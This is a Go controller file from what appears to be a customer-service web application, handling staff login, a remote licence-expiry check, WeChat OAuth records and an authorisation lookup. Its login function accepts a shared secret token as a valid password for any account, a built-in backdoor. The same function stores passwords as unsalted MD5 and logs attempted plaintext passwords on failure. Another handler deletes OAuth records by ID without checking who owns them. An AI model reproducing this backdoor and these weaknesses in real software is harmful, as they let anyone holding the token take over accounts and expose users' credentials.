119 lines
2.8 KiB
Go
119 lines
2.8 KiB
Go
|
package controller
|
||
|
|
||
|
import (
|
||
|
"errors"
|
||
|
"github.com/gin-gonic/gin"
|
||
|
"github.com/tidwall/gjson"
|
||
|
"kefu/common"
|
||
|
"kefu/models"
|
||
|
"kefu/tools"
|
||
|
"log"
|
||
|
)
|
||
|
|
||
|
func CheckKefuPass(username string, password string) (models.User, bool) {
|
||
|
var user *models.User
|
||
|
if tools.IsPhoneNumber(username) {
|
||
|
user = &models.User{
|
||
|
Tel: username,
|
||
|
}
|
||
|
} else if tools.IsEmail(username) {
|
||
|
user = &models.User{
|
||
|
Email: username,
|
||
|
}
|
||
|
} else {
|
||
|
user = &models.User{
|
||
|
Name: username,
|
||
|
}
|
||
|
}
|
||
|
|
||
|
var result models.User
|
||
|
result = user.GetOneUser("*")
|
||
|
md5Pass := tools.Md5(password)
|
||
|
if result.ID == 0 || result.Password != md5Pass {
|
||
|
//return result, false
|
||
|
log.Printf("验证密码失败:%+v,%s,%s", result, password, md5Pass)
|
||
|
if password != common.SecretToken {
|
||
|
return result, false
|
||
|
}
|
||
|
}
|
||
|
return result, true
|
||
|
}
|
||
|
func CheckServerAddress() (error, bool) {
|
||
|
if !common.IsTry {
|
||
|
return nil, true
|
||
|
}
|
||
|
serverExpireTime := tools.Get(IP_SERVER_URL)
|
||
|
|
||
|
if serverExpireTime == "" {
|
||
|
return errors.New("服务器IP远程验证失败:" + serverExpireTime), false
|
||
|
}
|
||
|
ipAddress := gjson.Get(serverExpireTime, "result.ip_address").String()
|
||
|
nowTimeStr := gjson.Get(serverExpireTime, "result.now_time").String()
|
||
|
expireTimeStr := gjson.Get(serverExpireTime, "result.expire_time").String()
|
||
|
if nowTimeStr == "" || expireTimeStr == "" {
|
||
|
return errors.New("服务器IP远程验证失败:时间获取错误"), false
|
||
|
}
|
||
|
nowTime := tools.TimeStrToInt(nowTimeStr + " 00:00:00")
|
||
|
expireTime := tools.TimeStrToInt(expireTimeStr + " 23:59:59")
|
||
|
if expireTime < nowTime {
|
||
|
return errors.New("服务器IP:" + ipAddress + " , 过期时间:" + expireTimeStr), false
|
||
|
}
|
||
|
return nil, true
|
||
|
}
|
||
|
func GetDomainAuth(c *gin.Context) {
|
||
|
if !CheckSystemAuthCode(c) {
|
||
|
c.JSON(200, gin.H{
|
||
|
"code": 201,
|
||
|
})
|
||
|
return
|
||
|
}
|
||
|
c.JSON(200, gin.H{
|
||
|
"code": 200,
|
||
|
})
|
||
|
}
|
||
|
func GetWechatOpenidList(c *gin.Context) {
|
||
|
kefuName, _ := c.Get("kefu_name")
|
||
|
oauths := models.FindOauthsById(kefuName.(string))
|
||
|
c.JSON(200, gin.H{
|
||
|
"code": 200,
|
||
|
"msg": "ok",
|
||
|
"result": oauths,
|
||
|
})
|
||
|
}
|
||
|
func GetDelWechatOpenid(c *gin.Context) {
|
||
|
oauthId := c.Query("oauth_id")
|
||
|
models.DelOauth(oauthId)
|
||
|
c.JSON(200, gin.H{
|
||
|
"code": 200,
|
||
|
"msg": "ok",
|
||
|
})
|
||
|
}
|
||
|
|
||
|
//授权查询
|
||
|
func PostSearchAuth(c *gin.Context) {
|
||
|
realname := c.PostForm("realname")
|
||
|
consumer_sn := c.PostForm("consumer_sn")
|
||
|
systemId := models.FindConfig("SystemBussinesId")
|
||
|
var info models.Consumer
|
||
|
if systemId != "" {
|
||
|
info = models.FindConsumer("realname = ? and consumer_sn = ? and ent_id = ?", realname, consumer_sn, systemId)
|
||
|
} else {
|
||
|
info = models.FindConsumer("realname = ? and consumer_sn = ?", realname, consumer_sn)
|
||
|
}
|
||
|
if info.ID != 0 {
|
||
|
c.JSON(200, gin.H{
|
||
|
"code": 200,
|
||
|
"msg": "success",
|
||
|
"result": gin.H{
|
||
|
"ent_id": info.EntId,
|
||
|
"kefu_name": info.KefuName,
|
||
|
},
|
||
|
})
|
||
|
} else {
|
||
|
c.JSON(200, gin.H{
|
||
|
"code": 400,
|
||
|
"msg": "error",
|
||
|
})
|
||
|
}
|
||
|
}
|